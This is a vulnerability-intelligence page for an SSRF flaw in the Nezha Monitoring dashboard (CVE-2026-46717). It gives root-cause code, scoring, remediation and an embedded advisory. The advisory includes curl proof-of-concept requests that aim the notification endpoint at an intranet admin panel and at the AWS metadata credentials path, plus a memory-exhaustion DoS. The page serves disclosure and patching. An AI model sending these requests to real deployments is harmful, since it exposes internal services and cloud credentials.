Nezha Monitoring CVE-2026-46717
HIGHAttack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessObtain RoleMember JWT
-
DeliveryPOST /api/v1/notification with intranet URL
-
ExploitcommonHandler bypasses admin check
-
ExecutionServer-side Send() fetches target
-
PersistNon-2xx response body read unbounded
-
ImpactBody reflected in JSON error to attacker
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V8 - Authorization Authorization logic validation
MITRE ATT&CK
1 technique across 1 tactic: Privilege Escalation The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Requires a valid RoleMember (Role==1) JWT on the Nezha dashboard - admin must have provisioned the account - and the attacker must submit a JSON body to POST /api/v1/notification or PATCH /api/v1/notification/:id with skip_check=false (default path that triggers the test Send) and a url field pointing at the intranet target; verify_tls=false additionally allows hitting TLS endpoints with invalid certs. Exploitation is constrained to whatever the dashboard host can reach on its network and to responses that return a non-2xx status (2xx responses are discarded to io.Discard and not reflected). No user interaction, no admin role, and no special non-default configuration are required beyond the existence of at least one Member account on the deployment. |
| Impact | Signals diverge. The reporter's CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:L (~6.4) and the provided CVSS 7.7 (C:H variant) both reflect network-reachable, low-complexity exploitation by an authenticated low-privilege user with scope change into intranet systems - a legitimate concern given the SSRF body-reflection primitive. EPSS at 0.03% (9th percentile) and absence of CISA KEV listing indicate no observed mass exploitation, consistent with a niche self-hosted monitoring tool rather than internet-edge SaaS. The real-world prerequisite - an attacker holding a RoleMember account that an admin must provision - meaningfully limits opportunistic abuse, but does not eliminate risk in shared-tenant or community-style deployments where Members are routinely created. Publicly available PoCs (curl one-liners in the GHSA) plus a clean fix commit mean exploitation is trivial once access is obtained. Tag list mentions 'Authentication Bypass' which is slightly misleading - this is missing authorization between roles, not auth bypass. |
| Exploit ScenarioDerived | An attacker who obtains or is provisioned a RoleMember account on a Nezha dashboard sends POST /api/v1/notification with url set to http://169.254.169.254/latest/meta-data/iam/security-credentials/ or http://192.168.1.1/admin/ and verify_tls=false, skip_check=false. The dashboard's outbound request fetches the target, and because the response is non-2xx, the full intranet response body is returned to the attacker inside the JSON error field. Publicly available curl PoCs in the GHSA advisory demonstrate AWS IMDSv2 reachability disclosure, intranet admin-panel body exfiltration, and unbounded-ReadAll DoS by pointing at large internal files. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv3 – Jun 12, 2026
Server-side request forgery in Nezha Monitoring dashboard (versions >=1.4.0, <1.14.15-0.20260517022419-d06d539d34c1) allows authenticated low-privilege RoleMember accounts to issue arbitrary HTTP requests to intranet targets via the POST /api/v1/notification and PATCH /api/v1/notification/:id endpoints, with full unbounded response bodies reflected back through error messages. Publicly available exploit code exists in the GHSA advisory, though EPSS is 0.03% (9th percentile) suggesting low mass-exploitation likelihood against this niche server-monitoring tool. Root cause is a missing adminHandler authorization gate combined with a notification webhook tester that ignores private/loopback CIDRs and lacks an io.LimitReader.
Earlier versions of this analysis (2)
Server-side request forgery in Nezha Monitoring dashboard (versions >= 1.4.0, < 1.14.15-0.20260517022419-d06d539d34c1) allows an authenticated low-privilege RoleMember to coerce the dashboard into issuing arbitrary HTTP/HTTPS requests via POST /api/v1/notification and PATCH /api/v1/notification/:id, then reflect the full response body back through the error channel. The notification routes were wired through commonHandler instead of adminHandler, exposing the synchronous Send() path - which had no size limit on response reads and an attacker-toggleable TLS-verify bypass - to any non-admin account. Publicly available exploit code exists in the advisory itself; EPSS is 0.03% (9th percentile) and the CVE is not in CISA KEV.
Server-side request forgery in Nezha monitoring dashboard allows authenticated low-privilege RoleMember users to coerce the server into issuing arbitrary HTTP/HTTPS requests via POST /api/v1/notification and PATCH /api/v1/notification/:id, with full unbounded response bodies reflected back through error messages. The flaw stems from the notification routes being wired through commonHandler instead of adminHandler, exposing an intranet read primitive (admin panels, cloud metadata endpoints like IMDSv2) plus a memory-exhaustion DoS via unbounded io.ReadAll. Publicly available exploit code exists in the GHSA advisory; no public exploit identified in active campaigns at time of analysis.
RemediationAI
Vendor-released patch: upgrade to 1.14.15-0.20260517022419-d06d539d34c1 or later, which lands fix commit d06d539d34c143d842b91e2a64326e8c8f9bc405 (https://github.com/nezhahq/nezha/commit/d06d539d34c143d842b91e2a64326e8c8f9bc405). The fix introduces a CIDR blocklist (RFC1918, loopback, link-local, CGNAT 100.64.0.0/10, IMDS 169.254.0.0/16, IPv6 ULA/link-local/etc.), pins http.Transport.DialContext to a pre-resolved IP to close DNS-rebinding TOCTOU, rejects non-http(s) schemes, disables redirect following, and caps reflected response bodies via io.CopyN(io.Discard, resp.Body, 4096) while removing the body string from the error message entirely. If immediate upgrade is not possible, restrict RoleMember account provisioning to trusted users only, block outbound egress from the dashboard host to internal CIDRs and to cloud metadata endpoints (169.254.169.254) at the network layer - accepting that this also disables legitimate intranet webhook delivery - and consider front-loading /api/v1/notification POST/PATCH with a reverse-proxy ACL that requires admin-equivalent identity. Auditors should also review /alert-rule, /cron, and /ddns for the same commonHandler vs adminHandler gap noted by the reporter.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in go
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Nezha (github.com/nezhahq/nezha) is a Go-based self-hosted server monitoring dashboard that supports user-configurable webhook notifications. The vulnerability is CWE-863 (Incorrect Authorization): routes in cmd/dashboard/controller/controller.go:121-122 were registered with commonHandler (any authenticated user) instead of adminHandler, while the comparable /user routes correctly use adminHandler that enforces user.Role.IsAdmin(). The downstream NotificationServerBundle.Send() in model/notification.go:113-159 performs a synchronous outbound HTTP request to a user-controlled URL using utils.HttpClientSkipTlsVerify when VerifyTLS is false, then on any non-2xx response concatenates the full response body via unbounded io.ReadAll into an error string that propagates back to the caller as a JSON error field - turning a webhook-test feature into a classic blind-SSRF-with-body-reflection primitive against the host's network position (intranet HTTP services, cloud metadata endpoints like 169.254.169.254).
Know when the next one hits your stack
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Network-reachable endpoint, low complexity, requires a RoleMember account (PR:L), scope changes to intranet systems (S:C), partial confidentiality from body reflection (C:L), and unbounded ReadAll enables limited DoS (A:L).
Primary rating from Vendor (https://github.com/nezhahq/nezha).
CVSS VectorVendor: https://github.com/nezhahq/nezha
Lifecycle Timeline
3DescriptionCVE.org
Summary
nezha's dashboard supports two user roles: RoleAdmin (Role0) and RoleMember (Role1). The notification routes POST /api/v1/notification and PATCH /api/v1/notification/:id are wired through commonHandler rather than adminHandler - so a RoleMember user can call them. These handlers synchronously Send() an HTTP request to a user-controlled URL and reflect the *entire* response body (no size limit) back to the caller on any non-2xx response.
Net effect: a low-privilege RoleMember can read intranet HTTP response bodies via the dashboard's hub.
Affected versions
Commit 50dc8e660326b9f22990898142c58b7a5312b42a and earlier on master.
Reachability chain
cmd/dashboard/controller/controller.go:121-122
auth.GET("/notification", listHandler(listNotification))
auth.POST("/notification", commonHandler(createNotification)) // <-- commonHandler, not adminHandlerFor comparison, /user routes ARE gated by adminHandler:
auth.GET("/user", adminHandler(listUser))
auth.POST("/user", adminHandler(createUser))
auth.POST("/batch-delete/user", adminHandler(batchDeleteUser))adminHandler (controller.go:220-236) explicitly enforces user.Role.IsAdmin(). commonHandler (controller.go:214-218) does not.
The vulnerable handler
// cmd/dashboard/controller/notification.go:46-83
func createNotification(c *gin.Context) (uint64, error) {
var nf model.NotificationForm
if err := c.ShouldBindJSON(&nf); err != nil { return 0, err }
var n model.Notification
n.UserID = getUid(c)
n.Name = nf.Name
n.RequestMethod = nf.RequestMethod
n.RequestType = nf.RequestType
n.RequestHeader = nf.RequestHeader
n.RequestBody = nf.RequestBody
n.URL = nf.URL
...
ns := model.NotificationServerBundle{Notification: &n, Server: nil, Loc: singleton.Loc}
if !nf.SkipCheck {
if err := ns.Send(singleton.Localizer.T("a test message")); err != nil {
return 0, err // <-- err.Error() reflects up to caller via newErrorResponse
}
}
...
}Identical pattern in updateNotification (PATCH /notification/:id) at lines 97-146.
The reflection sink
// model/notification.go:113-159
func (ns *NotificationServerBundle) Send(message string) error {
var client *http.Client
n := ns.Notification
if n.VerifyTLS != nil && *n.VerifyTLS {
client = utils.HttpClient
} else {
client = utils.HttpClientSkipTlsVerify
}
reqBody, err := ns.reqBody(message)
if err != nil { return err }
reqMethod, err := n.reqMethod()
if err != nil { return err }
req, err := http.NewRequest(reqMethod, ns.reqURL(message), strings.NewReader(reqBody))
if err != nil { return err }
n.setContentType(req)
if err := n.setRequestHeader(req); err != nil { return err }
resp, err := client.Do(req)
if err != nil { return err }
defer func() { _ = resp.Body.Close() }()
if resp.StatusCode < 200 || resp.StatusCode > 299 {
body, _ := io.ReadAll(resp.Body) // <-- NO io.LimitReader
return fmt.Errorf("%d@%s %s", resp.StatusCode, resp.Status, string(body))
} else {
_, _ = io.Copy(io.Discard, resp.Body)
}
return nil
}The full body (no size limit) is concatenated into an error string. That error flows through commonHandler → handle() → newErrorResponse(err) → c.JSON(http.StatusOK, ...). The intranet response body is JSON-encoded back to the RoleMember caller.
Additional wrinkle: client = utils.HttpClientSkipTlsVerify when VerifyTLS is false - attacker-controlled. So the SSRF works against TLS endpoints too, ignoring cert validation.
PoC
A. Read intranet admin-panel response body
curl -X POST -H "Authorization: Bearer <member-jwt>" \
-H "Content-Type: application/json" \
-d '{"name":"x","url":"http://192.168.1.1/admin/index.html","request_method":1,"request_type":1,"verify_tls":false,"skip_check":false}' \
http://nezha-dashboard.example.com/api/v1/notificationResponse:
{"success":false,"error":"401@Unauthorized <full HTML body of the admin login page, no size limit>"}B. AWS IMDSv2 reachability + body leak
curl -X POST -H "Authorization: Bearer <member-jwt>" \
-H "Content-Type: application/json" \
-d '{"name":"x","url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/","request_method":1,"request_type":1,"verify_tls":false,"skip_check":false}' \
http://nezha-dashboard.example.com/api/v1/notificationIMDSv2 returns 401 with a body explaining the missing token; that body is reflected.
C. DoS via large internal file
Because the body is read via unbounded io.ReadAll, a RoleMember pointing at any internal large-file URL (logs, package mirrors, video) blows up dashboard memory.
Suggested fix
- Switch /notification routes to
adminHandler. Same fix for/alert-rule,/cron,/ddnsif they also issue user-URL requests synchronously. Compare with how/useris already guarded.
auth.POST("/notification", adminHandler(createNotification))
auth.PATCH("/notification/:id", adminHandler(updateNotification))- SSRF-harden
NotificationServerBundle.Send():
- Resolve URL host once via
net.LookupIP; refuse private/loopback/link-local/CGNAT. - Pin
http.Transport.DialContextto the resolved IP - closes DNS-rebinding TOCTOU. - Refuse non-http(s) schemes.
- Cap response body:
io.LimitReader(resp.Body, 4096). 4 KB is plenty for surfacing webhook errors. - Reconsider
VerifyTLS=falsetoggle on RoleMember-reachable paths - if the route remains member-reachable, at minimum cert validation should be enforced.
Severity
- CVSS 3.1: Medium -
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:L≈ 6.4. PR:L because attacker needs aRoleMemberaccount (admin-issued). C:L because intranet response bodies can be read but typically not full credentials. A:L because of the unbounded body-read DoS. - Auth: authenticated
RoleMember(Role == 1).
Reproduction environment
- Tested against:
nezhahq/nezha:v0.x(commit50dc8e660326b9f22990898142c58b7a5312b42a). - Code locations:
- Handler:
cmd/dashboard/controller/notification.go:46-83, 97-146 - Sink:
model/notification.go:113-159 - Auth gate:
cmd/dashboard/controller/controller.go:121-122(commonHandler), 214-236 (handler defs)
Reporter
Eddie Ran. Filed via reporter API (PVR enabled). nezha's SECURITY.md mentions email hi@nai.ba for vulnerability reports - happy to also send via email if the maintainer prefers.
Executive ViewAI
Nezha Monitoring dashboard versions before 1.14.15 contain a server-side request forgery vulnerability (CVE-2026-46717) that allows authenticated low-privilege users to send arbitrary HTTP requests to internal network targets, enabling reconnaissance and lateral movement within your infrastructure. Publicly available exploit code for this vulnerability poses direct risk to any organization using Nezha, as normal staff accounts can be leveraged to pivot through the monitoring system into intranet resources. Immediate patching is required for all production instances.
Apply vendor patch: Upgrade Nezha Monitoring to version 1.14.15 or later. Until patching is complete, restrict API access to administrative accounts via network-level controls, enforce comprehensive audit logging of all API requests, and review all low-privilege user accounts with API access for unauthorized activity.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.
Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.
Affected Products (CPE)CVE.org
Related Vulnerabilities in nezha Dashboard Authorization and Command Injection Flaws
View all 2Same weakness CWE-863 – Incorrect Authorization
View allSame technique Authentication Bypass
View allVendor StatusVendor
SUSE
Severity: Important| Product | Status |
|---|---|
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Affected |
| openSUSE Leap 15.5 | Affected |
| openSUSE Leap 15.6 | Affected |
GHSA-w4g9-mxgg-j532
NVD
CVE.org
EPSS
VulDB
Exploit-DB